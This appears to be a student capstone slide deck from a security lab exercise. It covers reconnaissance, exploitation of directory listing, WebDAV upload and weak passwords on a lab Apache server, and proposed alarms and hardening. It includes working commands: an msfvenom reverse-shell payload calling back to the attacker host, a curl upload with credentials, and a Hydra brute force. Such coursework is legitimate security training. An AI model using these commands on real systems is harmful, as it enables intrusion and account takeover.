Capstone Engagement
Assessment, Analysis, �and Hardening of a Vulnerable System
Table of Contents
This document contains the following sections:
01
02
03
04
Network Topology
Red Team: Security Assessment
Blue Team: Log Analysis and Attack Characterization
Hardening: Proposed Alarms and Mitigation Strategies
Network Topology
3
Network Topology
Network
Address Range: 192.168.1.0/24
Netmask: 255.255.255.0
Gateway: 192.168.1.0
Machines
IPv4: 192.168.1.1
OS: Windows
Hostname: Redteam Blueteam
IPv4:192.168.1.90
OS: Kali Linux
Hostname: Kali
IPv4: 192.168.1.105
OS: Ubuntu
Hostname: Capstone
IPv4: 192.168.1.100
OS: Ubuntu 18.04
Hostname: ELK
Red Team
Security Assessment
5
Recon: Describing the Target
Nmap identified the following hosts on the network:
Hostname | IP Address | Role on Network |
Redteam Blueteam | 192.168.1.1 | Hypervisor – Host all the VMs |
Kali | 192.168.1.90 | Attacking machine using Kali Linux OS |
Capstone | 192.168.1.105 | Target machine using Apache web server |
ELK server | 192.168.1.100 | Centralized logging server running different services: packetbeat, filebeat, metricbeat |
Vulnerability Assessment
The assessment uncovered the following critical vulnerabilities in the target:
Vulnerability | Description | Impact |
Directory Listing Vulnerability CWE-548: Exposure of Information Through Directory Listing | The directory structure is visible and accessible from a browser without any passwords. | Attackers can try many attacks from this access, and some documents with sensitive data are carelessly left available from there |
Uploading of malicious script CWE-434: Unrestricted Upload of File with Dangerous Type | Webdav is enabled, allowing attackers to upload malicious script to the server. | Amongst many possible attacks, attackers can use this vulnerability to launch a reverse shell and gain access to the system. |
CWE-521: Weak Password Requirements | Passwords are too simple with a low level of complexity. The 2 discovered were a simple phrase and a name. | Weak passwords are easy to uncover through bruteforce and dictionary attacks |
| ||
Exploitation: Directory Listing Vulnerability�]
Tools & Processes
Nmap
Using Nmap, the webserver directory structure was revealed.
Browser
Using a browser, simply navigating the directory structure from the IP address revealed enough information to eventually breach the system.
01
02
Achievements
Access to different documents that revealed three usernames – which can be used for a brute force attack. It also yielded the location of a hidden folder which contain information of webdav server
03
Command: nmap –A –sV 192.168.01.105
Exploring the webserver
Exploitation: Uploading of malicious script�
Tools & Processes
Msfvenom – created the malicious script – kill.php
Msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.90 lport=4444 –f raw –o kill.php
curl – uploaded the payload to the webdav directory.
Curl –user ‘ryan:linux4u’ –T ‘/kill.php’ ‘192.168.1.105/webdav/’
Metasploit – started a listener, which then launched a meterpreter session once the kill.php was run on the webserver.
01
02
Achievements
Using a reverse shell, opened a meterpreter session in the target system, and explore and download file from the target machine.
03
[INSERT: screenshot or command output illustrating the exploit.]
Exploitation: Weak Password
Tools & Processes
Hydra
Hydra was used to bruteforce ashton’s username against the webserver’s password protected area.
hydra -l ashton -P /usr/share/wordlists/rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company_folders/secret_folder/
01
02
Achievements
This attack provided ashton’s password, which was a simple name – leopoldo.
Access to the hidden directory in the webserver. This revealed a document that contained instructions to connect to webdav with the CEO’s username and password hash.
03
[INSERT: screenshot or command output illustrating the exploit.]
Blue Team
Log Analysis and �Attack Characterization
12
Analysis: Identifying the Port Scan
[Insert Here]
Include a screenshot of Kibana logs depicting the port scan.
Analysis: Finding the Request for the Hidden Directory
[Insert Here]
Include a screenshot of Kibana logs depicting the request for the hidden directory.
Analysis: Uncovering the Brute Force Attack
[Insert Here]
Include a screenshot of Kibana logs depicting the brute force attack.
Analysis: Finding the WebDAV Connection
[Insert Here]
Add a screenshot of Kibana logs depicting the WebDAV connection.
Blue Team
Proposed Alarms and �Mitigation Strategies
17
Mitigation: Blocking the Port Scan
What kind of alarm can be set to detect future port scans?
Although useful, having alert for each port scan is unrealistic.
What threshold would you set to activate this alarm?
Setup a low-level alert for any port scanning, with a threshold of 10, and a severe alert for anything above 100.
Have alerts for any use of Nmap.
Setup a critical alert for aggressive scans.
What configurations can be set on the host to mitigate port scans?
Whitelist known IPs and block unauthorised IPs from scanning
Describe the solution. If possible, provide required command lines.
Make schedule to check on all ports regurlary. Updating all services running.
System Hardening
Alarm
Mitigation: Finding the Request for the Hidden Directory
What kind of alarm can be set to detect future unauthorized access?
Create an Ips filtered for only whitelist IPs to access this folder
What threshold would you set to activate this alarm?
Create a two levels alert
Low-level for 3 attempts
Critical level for more than 10 attempts – potential brute force attack
What configuration can be set on the host to block unwanted access?
Highly confidential folders should not be shared for public access
•Rename folders containing sensitive/private/company critical data
•Encrypt data contained within confidential folders
•Review IP addresses that cause an alert to be sent: either whitelist or block the IP addresses.
System Hardening
Alarm
Mitigation: Preventing Brute Force Attacks
What kind of alarm can be set to detect future brute force attacks?
An alert can be created if 401
Unauthorized is returned from the
server over a threshold.
What threshold would you set to activate this alarm?
Start with 3 over a 30 minute period
to allow forgotten or mistyped
passwords and refine.
What configuration can be set on the host to block brute force attacks?
Setup account timeout and lockout rules for failed password attempts to block brute forcing
Describe the solution. If possible, provide the required command line(s).
Increase password strength requirements and expiry every 3 months. Consider multi-factor authentication.
Limit logins to a whitelist of IP
addresses
System Hardening
Alarm
Mitigation: Detecting the WebDAV Connection
What kind of alarm can be set to detect future access to this directory?
What threshold would you set to activate this alarm?
The threshold should be 1, no unauthorised IPs can access to this server
What configuration can be set on the host to control access?
Limit user access to WebDAV.
Harden authentication to WebDAV – password requirements, MFA, whitelisting IPs
Scanning all incoming traffic with anti-virus/anti-malware.
Update regularly.
System Hardening
Alarm
Mitigation: Identifying Reverse Shell Uploads
What kind of alarm can be set to detect future file uploads?
Monitor all incoming uploads and setup an alert for anything triggered by anti-virus/anti-malware.
Create an alert for files that contain suspicious code/scripts/file extensions
What configuration can be set on the host to block file uploads?
Setup a secure anti-virus/anti-malware application that screens all incoming files and automatically updates daily.
Update firewall rules.
Limit filetypes that can be uploaded, including restricting php
System Hardening
Alarm
23